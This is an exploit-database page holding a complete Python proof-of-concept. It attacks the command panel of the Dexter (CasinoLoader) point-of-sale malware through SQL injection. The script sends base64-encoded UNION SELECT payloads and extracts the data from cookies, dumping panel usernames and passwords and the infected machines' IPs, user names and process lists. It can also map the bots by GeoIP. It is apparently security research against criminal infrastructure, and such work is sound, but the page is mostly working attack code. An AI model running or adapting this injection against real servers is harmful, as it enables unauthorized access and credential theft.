Dexter (CasinoLoader) Panel - SQL Injection

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Dexter (CasinoLoader) Panel - SQL Injectio

                                                # Exploit Title: Dexter (CasinoLoader) Panel SQLi
# Date: Feb, 13, 2014
# Exploit Author: Brian Wallace (@botnet_hunter)
# Version: CasinoLoader
# Tested on: Windows 7, Ubuntu, Debian
import pycurl
import urllib
import cStringIO
import base64
import argparse
import sys
import string
import pygeoip

version = &#34;0.1-http_bots-PoC&#34;


def PrintHelp():
    global version
    print &#34;usage: dexter.PoC.py [-h] [action] [gateway url]&#34;
    print &#34;&#34;
    print &#34;Dexter CasinoLoader BAMF PoC v&#34; + version
    print &#34;Exploiting CasinoLoader panels for information&#34;
    print &#34;By Brian Wallace (@botnet_hunter)&#34;
    print &#34;&#34;
    print &#34;arguments:&#34;
    print &#34;  action        Actions to be taken against the botnet (default: dump)&#34;
    print &#34;                dump - Print configuration information obtained from source file&#34;
    print &#34;                drop - Execute a command to make the bot scripts exit&#34;
    print &#34;  source        Path to non-obfuscated source code for the target bot (default: stdin)&#34;
    print &#34;&#34;
    print(&#34;GPS:&#34;)
    print(&#34;  -m MaxMind Location           Location of Maxmind database files (default .)&#34;)
    print &#34;&#34;
    print &#34;  -h, --help    Print this message&#34;
    print &#34;&#34;


class DexterPanel:
    def __init__(self, gateway_url):
        self.gateway_url = gateway_url

    @staticmethod
    def _get_field(gateway, table, column, row):
        buf = cStringIO.StringIO()
        c = pycurl.Curl()
        c.setopt(c.URL, gateway)
        page = &#34;&#39; AND 1=2 UNION ALL SELECT 1,&#34; + column + &#34;,3 FROM &#34; + table + &#34; LIMIT 1 OFFSET &#34; + str(row) + &#34; -- --&#34;
        params = urllib.urlencode({&#39;val&#39;: &#39;AA==&#39;, &#39;page&#39;: base64.b64encode(page)})
        c.setopt(c.POSTFIELDS, params)
        c.setopt(c.HEADERFUNCTION, buf.write)
        c.perform()

        val = buf.getvalue()
        cookie = None
        for line in val.split(&#39;\n&#39;):
            line = line.strip()
            if line.count(&#39;Set-Cookie:&#39;) &#62; 0 and line.count(&#34;response&#34;) &#62; 0:
                cookie = line
                cookie = cookie[cookie.find(&#39;=&#39;) + 1:]
                cookie = urllib.unquote(cookie)
                cookie = base64.b64decode(cookie)
                cookie = cookie[1:]
                cookie = cookie[:-2]
                break
        buf.close()
        return cookie

    def get_all_user_details(self):
        count = 0
        users = []
        while True:
            user = self._get_field(self.gateway_url, &#39;users&#39;, &#39;name&#39;, count)
            if user is None or user == &#34;&#34;:
                break
            password = self._get_field(self.gateway_url, &#39;users&#39;, &#39;password&#39;, count)
            count += 1
            users.append({&#39;user&#39;: user, &#39;password&#39;: password})
        return users

    def get_all_bot_details(self):
        count = 0
        bots = []
        while True:
            user = self._get_field(self.gateway_url, &#39;bots&#39;, &#39;RemoteIP&#39;, count)
            if user is None or user == &#34;&#34;:
                break
            count += 1
            bots.append({&#39;RemoteIP&#39;: user,
                         &#39;UID&#39;: self._get_field(self.gateway_url, &#39;bots&#39;, &#39;UID&#39;, count),
                         &#39;Version&#39;: self._get_field(self.gateway_url, &#39;bots&#39;, &#39;Version&#39;, count),
                         &#39;Username&#39;: self._get_field(self.gateway_url, &#39;bots&#39;, &#39;Username&#39;, count),
                         &#39;Computername&#39;: self._get_field(self.gateway_url, &#39;bots&#39;, &#39;Computername&#39;, count),
                         &#39;UserAgent&#39;: self._get_field(self.gateway_url, &#39;bots&#39;, &#39;UserAgent&#39;, count),
                         &#39;OS&#39;: self._get_field(self.gateway_url, &#39;bots&#39;, &#39;OS&#39;, count),
                         &#39;Architecture&#39;: self._get_field(self.gateway_url, &#39;bots&#39;, &#39;Architecture&#39;, count),
                         &#39;Idle Time&#39;: self._get_field(self.gateway_url, &#39;bots&#39;, &#39;Idle Time&#39;, count),
                         &#39;Process List&#39;: self._get_field(self.gateway_url, &#39;bots&#39;, &#39;Process List&#39;, count),
                         &#39;LastVisit&#39;: self._get_field(self.gateway_url, &#39;bots&#39;, &#39;LastVisit&#39;, count),
                         &#39;LastCommand&#39;: self._get_field(self.gateway_url, &#39;bots&#39;, &#39;LastCommand&#39;, count)})
        return bots


if __name__ == &#34;__main__&#34;:
    parser = argparse.ArgumentParser(add_help=False)
    parser.add_argument(&#39;action&#39;, nargs=&#39;?&#39;, type=str, default=&#34;dump&#34;, help=&#34;Actions to be taken against pBots (default: dump)&#34;, choices=[&#34;dump&#34;, &#34;graph&#34;])
    parser.add_argument(&#39;gateway&#39;, nargs=&#39;?&#39;, type=str, default=None, help=&#34;URL to Dexter bot gateway&#34;)
    parser.add_argument(&#39;-m&#39;, metavar=&#39;maxmind&#39;, type=str, nargs=&#39;?&#39;, default=&#39;./GeoLiteCity.dat&#39;)
    parser.add_argument(&#39;-h&#39;, &#39;--help&#39;, default=False, required=False, action=&#39;store_true&#39;)

    args = parser.parse_args()

    if args.help or args.gateway is None:
        PrintHelp()
        sys.exit()

    if args.action == &#34;dump&#34;:
        url = args.gateway
        dex = DexterPanel(url)
        print &#34;User details: %s&#34; % dex.get_all_user_details()
        print &#34;Bot details: %s&#34; % dex.get_all_bot_details()
    elif args.action == &#34;graph&#34;:
        url = args.gateway
        dex = DexterPanel(url)
        bots = dex.get_all_bot_details()

        #load Maxmind
        sys.stderr.write(&#39;Loading MaxMind Database\n&#39;)
        gi = pygeoip.GeoIP(args.m)

        nodes = {}
        connections = []

        nodes[&#34;C2&#34;] = {&#34;id&#34;: 0, &#34;label&#34;: &#34;C2&#34;, &#34;mod&#34;: 0}
        highestnode = 1

        #loop through all bots
        for bot in bots:
            ip = bot[&#34;RemoteIP&#34;]
            geoip = gi.record_by_addr(ip)
            node = {&#34;id&#34;: highestnode, &#34;label&#34;: ip, &#34;host&#34;: ip, &#34;mod&#34;: 1}
            highestnode += 1
            if geoip is not None:
                node[&#39;lat&#39;] = geoip[&#34;latitude&#34;]
                node[&#39;lng&#39;] = geoip[&#34;longitude&#34;]
                nodes[ip] = node
                connections.append([node[&#39;id&#39;], 0])

        print(&#39;&#60;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&#62;&#39;)
        print(&#39;&#60;gexf xmlns=&#34;http://www.gexf.net/1.2draft&#34; version=&#34;1.2&#34;&#62;&#39;)
        print(&#39;    &#60;meta lastmodifieddate=&#34;2009-03-20&#34;&#62;&#39;)
        print((&#39;        &#60;creator&#62;&#39; + &#34;bwall&#34; + &#39;&#60;/creator&#62;&#39;))
        print(&#39;        &#60;description&#62;&#60;/description&#62;&#39;)
        print(&#39;    &#60;/meta&#62;&#39;)
        print(&#39;    &#60;graph mode=&#34;static&#34; defaultedgetype=&#34;directed&#34;&#62;&#39;)
        print(&#39;    &#60;attributes class=&#34;node&#34; mode=&#34;static&#34;&#62;&#39;)
        print(&#39;      &#60;attribute id=&#34;modularity_class&#34; title=&#34;Modularity Class&#34; type=&#34;integer&#34;&#62;&#60;/attribute&#62;&#39;)
        print(&#39;      &#60;attribute id=&#34;lat&#34; title=&#34;lat&#34; type=&#34;double&#34;&#62;&#60;/attribute&#62;&#39;)
        print(&#39;      &#60;attribute id=&#34;lng&#34; title=&#34;lng&#34; type=&#34;double&#34;&#62;&#60;/attribute&#62;&#39;)
        print(&#39;    &#60;/attributes&#62;&#39;)
        print(&#39;        &#60;nodes&#62;&#39;)

        for name, node in list(nodes.items()):
            if &#39;lat&#39; in node:
                print((&#39;            &#60;node id=&#34;&#39; + str(node[&#39;id&#39;]) + &#39;&#34; label=&#34;&#39; +
                    node[&#39;label&#39;] + &#39;&#34;&#62;&#39;))
                print(&#39;                &#60;attvalues&#62;&#39;)
                print((&#39;                    &#60;attvalue for=&#34;modularity_class&#34; value=&#34;&#39; +
                    str(node[&#39;mod&#39;]) + &#39;&#34;&#62;&#60;/attvalue&#62;&#39;))
                print(&#39;                     &#60;attvalue for=&#34;lat&#34; value=&#34;&#39; + str(node[&#39;lat&#39;]) + &#39;&#34;&#62;&#60;/attvalue&#62;&#39;)
                print(&#39;                     &#60;attvalue for=&#34;lng&#34; value=&#34;&#39; + str(node[&#39;lng&#39;]) + &#39;&#34;&#62;&#60;/attvalue&#62;&#39;)
                print(&#39;                &#60;/attvalues&#62;&#39;)
                print(&#39;            &#60;/node&#62;&#39;)
            else:
                print((&#39;            &#60;node id=&#34;&#39; + str(node[&#39;id&#39;]) + &#39;&#34; label=&#34;&#39; +
                    node[&#39;label&#39;] + &#39;&#34;&#62;&#39;))
                print(&#39;                &#60;attvalues&#62;&#39;)
                print((&#39;                    &#60;attvalue for=&#34;modularity_class&#34; value=&#34;&#39; +
                    str(node[&#39;mod&#39;]) + &#39;&#34;&#62;&#60;/attvalue&#62;&#39;))
                print(&#39;                     &#60;attvalue for=&#34;lat&#34; value=&#34;0&#34;&#62;&#60;/attvalue&#62;&#39;)
                print(&#39;                     &#60;attvalue for=&#34;lng&#34; value=&#34;0&#34;&#62;&#60;/attvalue&#62;&#39;)
                print(&#39;                &#60;/attvalues&#62;&#39;)
                print(&#39;            &#60;/node&#62;&#39;)
        print(&#39;        &#60;/nodes&#62;&#39;)
        print(&#39;        &#60;edges&#62;&#39;)
        count = 0
        for node in connections:
            print((&#39;            &#60;edge id=&#34;&#39; + str(count) + &#39;&#34; source=&#34;&#39; + str(node[0]) +
                 &#39;&#34; target=&#34;&#39; + str(node[1]) + &#39;&#34; /&#62;&#39;))
            count += 1
        print(&#39;        &#60;/edges&#62;&#39;)
        print(&#39;    &#60;/graph&#62;&#39;)
        print(&#39;&#60;/gexf&#62;&#39;)
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1